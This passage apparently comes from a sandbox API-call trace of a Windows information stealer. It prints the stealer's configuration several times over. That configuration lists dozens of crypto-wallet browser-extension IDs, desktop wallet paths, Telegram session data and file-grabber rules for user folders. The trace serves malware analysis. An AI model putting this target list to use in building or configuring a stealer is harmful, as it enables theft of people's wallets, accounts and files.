Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3858 [0266.289] LocalAlloc (uFlags=0x40, uBytes=0x1ea4) returned 0x6f4830 [0266.289] StrCpyW (in: psz1=0x6f1ee8, psz2="*cache*,*dictionar*,*sqlite*" | out: psz1="*cache*,*dictionar*,*sqlite*") returned="*cache*,*dictionar*,*sqlite*" [0266.290] LocalFree (hMem=0x6f4830) returned 0x0 [0266.290] StrToIntW (lpSrc="26") returned 26 [0266.290] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf278 [0266.290] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6bf278, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.290] PathCombineW (in: pszDest=0x6bf278, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="Ledger Live" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Ledger Live") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Ledger Live" [0266.290] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f4830 [0266.290] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x706418 [0266.290] StrCpyW (in: psz1=0x706418, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Ledger Live" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Ledger Live") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Ledger Live" [0266.290] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Ledger Live\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\ledger live\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e24d8, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6bf278, ftLastAccessTime.dwLowDateTime=0x23, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe1, ftLastWriteTime.dwHighDateTime=0x24f8e2, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Roaming\\Ledger Live", cAlternateFileName="kk")) returned 0xffffffff [0266.290] LocalFree (hMem=0x6f4830) returned 0x0 [0266.291] LocalFree (hMem=0x6bf278) returned 0x0 [0266.291] LocalFree (hMem=0x6fe628) returned 0x0 [0266.291] LocalFree (hMem=0x700f70) returned 0x0 [0266.292] LocalFree (hMem=0x7038b8) returned 0x0 [0266.293] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.293] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.294] StrStrW (lpFirst="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned="wlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.294] StrStrW (lpFirst="daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.294] StrStrW (lpFirst="Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension 